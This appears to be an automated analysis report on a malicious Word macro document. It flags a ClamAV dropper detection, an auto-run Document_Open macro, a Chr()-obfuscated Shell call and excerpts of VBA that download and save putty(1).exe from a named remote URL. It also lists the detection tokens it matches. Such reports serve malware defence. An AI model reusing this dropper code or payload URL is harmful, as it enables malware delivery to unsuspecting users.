Malicious Office (OLE) — malware analysis report

Heuristics 9

• ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
• VBA macros detected medium 6 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

  Shell Chr(998 - 931) & Chr(899 - 822) & Chr(613 - 513) & Chr(224 - 192) & Chr(483 - 436) & Chr(564 - 465) & Chr(224 - 192) & Chr(564 - 465) & Chr(613 - 513) & _

• VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
  VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
  Matched line in script

   " & " & G0p & " T3d= ""http://www.radialistaspe.com.br/novosistema/admin/scripts/putty(1).exe"">>S7d.VBE &" & G0p & " K0v = E8l(""cPa9PcP"")>>S7d.VBE &" & G0p & " Set Q7d = CreateObject(E8l(""X^cXW=9cXWS__[""))>>S7d.VBE &" & G0p & " Q7d.Open E8l(""RP_""), T3d, False>>S7d.VBE &" & G0p & " Q7d.send ("""")>>S7d.VBE  &" & G0p & " Set N0n = CreateObject(E8l(""LOZOM9^_]PLX""))>>S7d.VBE &" & G0p & " N0n.Open>>S7d.VBE &" & G0p & " N0n.Type = 1 >>S7d.VBE  &@eCHo N0n.Write Q7d.ResponseBody>>S7d.VBE &" &  …

• Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
  Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  Matched line in script

  Shell Chr(998 - 931) & Chr(899 - 822) & Chr(613 - 513) & Chr(224 - 192) & Chr(483 - 436) & Chr(564 - 465) & Chr(224 - 192) & Chr(564 - 465) & Chr(613 - 513) & _

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

   " & " & G0p & " T3d= ""http://www.radialistaspe.com.br/novosistema/admin/scripts/putty(1).exe"">>S7d.VBE &" & G0p & " K0v = E8l(""cPa9PcP"")>>S7d.VBE &" & G0p & " Set Q7d = CreateObject(E8l(""X^cXW=9cXWS__[""))>>S7d.VBE &" & G0p & " Q7d.Open E8l(""RP_""), T3d, False>>S7d.VBE &" & G0p & " Q7d.send ("""")>>S7d.VBE  &" & G0p & " Set N0n = CreateObject(E8l(""LOZOM9^_]PLX""))>>S7d.VBE &" & G0p & " N0n.Open>>S7d.VBE &" & G0p & " N0n.Type = 1 >>S7d.VBE  &@eCHo N0n.Write Q7d.ResponseBody>>S7d.VBE &" &  …

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• Document_Open macro low OLE_VBA_DOCOPEN
  Document_Open macro
  Matched line in script

  Private Sub Document_Open()

• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://www.radialistaspe.com.br/novosistema/admin/scripts/putty(1).exe Referenced by macro

  • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Open this report in the interactive analyzer, or submit your own file for analysis.